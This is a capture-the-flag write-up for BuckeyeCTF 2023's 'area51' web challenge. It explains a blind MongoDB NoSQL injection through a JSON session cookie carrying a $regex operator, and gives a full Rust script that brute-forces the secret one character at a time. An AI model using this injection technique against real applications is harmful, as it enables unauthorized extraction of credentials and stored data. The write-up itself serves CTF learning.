This is how I solved the web/area51 challenge of BuckeyeCTF 2023.

Challenge

The challenge consisted of an Express server connected to a MongoDB instance. Users can log into the web page with a username and password and will be given a session cookie. If you visit the page with a valid session cookie, you will be served a different page.

init_users.js (GH):

db.createCollection('users')

db.users.insert( { username: "AlienAdmin", password: "WackaWacka", admin: true, session: FLAG} )

my_users = [/* snip */]

db.users.insertMany(my_users)

index.js (GH):

import { Router } from 'express';
const router = Router();
import User from '../User.js';

router.get('/', (req, res) => {
	var session = res.cookies.get("session");
	if (session) {
		session = JSON.parse(session);

		var token = session.token
		return User.find({
			session: token
		}).then((user) => {
			if (user.length == 1) {
				return res.render('dashboard');
			}

			return res.render('index');
		})
		.catch((e) => {
			res.json({ message: 'Hm server errored'});
		});
	}
	return res.render('index');
});

router.post('/api/login', (req, res) => {
	let { username, password } = req.body;

	if (username && password && typeof username === 'string' && typeof password === 'string') {

		return User.find({
			username,
			password,
			admin: false
		})
			.then((user) => {
				if (user.length == 1) {
					var new_session = {
						token: user[0].session,
						username: user[0].username
					}
					res.cookies.set("session", JSON.stringify(new_session));

					if (user[0].admin) {
						return res.json({logged: 1, message: `Success! Welcome back chief stormer.` });
					} else {
						return res.json({logged: 1, message: `Success, welcome back ${user[0].username}.` });
					}
				} else {
					return res.json({logged: 0, message: 'Login failed :/'});
				}
			})
			.catch((e) => {
				return res.json({ message: 'Hm server errored'});
			});
	}
	return res.json({ message: 'Login failed :/'});
});

export default router;

Analysis

At first, the most tempting thing to do is to analyze the /api/login route. However, if there is a vulnerability there, I did not find it. Instead, there is actually a vulnerability in the index route. First of all, I noticed that you can pass in an arbitrary JavaScript object to the session variable. This means that we can control the inputs to User.find. I immediately searched up the function and find an article about it. According to the article, "[t]here are also comparison query operators like $gt and $lt". I follow the link in the article to the corresponding MongoDB documentation. In particular, the $regex operator stands out to me. Since the index route returns different content depending on if the query matches, we can pass in a regex and gain 1 bit of information about the flag on each request.

Exploitation

I wrote a little Rust program to brute force the flag one character at a time:

const URL: &str = "https://area51.chall.pwnoh.io";

#[tokio::main]
async fn main() {
	let client = reqwest::Client::new();

	let mut flag_chars = vec![];
	for digit in (48..=57).chain(65..=90).chain(95..=122) {
		let mut s = String::new();
		s.push(char::from_u32(digit).unwrap());
		flag_chars.push(s);
	}
	flag_chars.push(String::from("\\."));
	flag_chars.push(String::from("\\^"));
	flag_chars.push(String::from("\\$"));
	flag_chars.push(String::from("\\*"));
	flag_chars.push(String::from("\\+"));
	flag_chars.push(String::from("\\?"));
	flag_chars.push(String::from("\\!"));
	flag_chars.push(String::from("#"));
	flag_chars.push(String::from("%"));
	flag_chars.push(String::from("-"));
	flag_chars.push(String::from("_"));
	println!("using character set {flag_chars:?}");

	let mut matches = String::new();
	let mut complete = false;
	let mut match_found = false;

	while !complete {
		for flag_char_candidate in &flag_chars {
			let re = format!("bctf{{{matches}{flag_char_candidate}.+}}");
			let test = test_regex(&client, &re).await;

			if test.is_match() {
				matches.push_str(&flag_char_candidate);
				println!("found match: {flag_char_candidate:?}");
				match_found = true;
				break;
			}
		}

		if match_found {
			match_found = false;
			continue;
		}

		complete = true;
	}

	println!("found the full flag: \"bctf{{{matches}}}\"");
}

#[derive(Debug)]
enum RegexMatch {
	Match,
	NoMatch
}

impl RegexMatch {
	fn is_match(&self) -> bool {
		match self {
			Self::Match => true,
			Self::NoMatch => false
		}
	}
}

async fn test_regex(client: &reqwest::Client, re: &str) -> RegexMatch {
	let resp = client.get(URL).header("Cookie",
			format!("session={{\"token\": {{\"$regex\": \"{re}\"}}}}")
		).send().await.unwrap()
		.text().await.unwrap();

	match resp.chars().nth(37) {
		Some('P') => RegexMatch::Match,
		_ => RegexMatch::NoMatch
	}
}

The script gives me the result bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0gS_GA}, which isn't the full flag. The issue with my script is that it doesn't get the last character of the flag. Despite not having the full flag, I was able to guess that the full flag should actually be bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0gS_GAy} in reference to the infamous Alex Jones clip.